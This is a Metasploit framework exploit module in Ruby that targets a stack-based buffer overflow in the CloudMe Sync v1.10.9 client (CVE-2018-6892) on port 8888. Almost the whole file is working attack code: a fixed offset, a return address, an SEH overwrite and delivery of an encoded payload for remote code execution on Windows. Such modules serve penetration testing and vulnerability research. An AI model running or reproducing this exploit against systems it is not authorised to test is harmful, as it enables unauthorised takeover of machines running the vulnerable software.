cloudme_sync.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CloudMe Sync v1.10.9',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability
          in CloudMe Sync v1.10.9 client application. This module has been
          tested successfully on Windows 7 SP1 x86.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'hyp3rlinx', # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
        'References' => [
          [ 'CVE', '2018-6892'],
          [ 'EDB', '44027' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00",
        },
        'Targets' => [
          [
            'CloudMe Sync v1.10.9',
            {
              'Offset' => 2232,
              'Ret' => 0x61e7b7f6
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2018-01-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(8888)])
  end

  def exploit
    connect

    buffer = make_nops(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    sock.put(buffer)
    handler
  end
end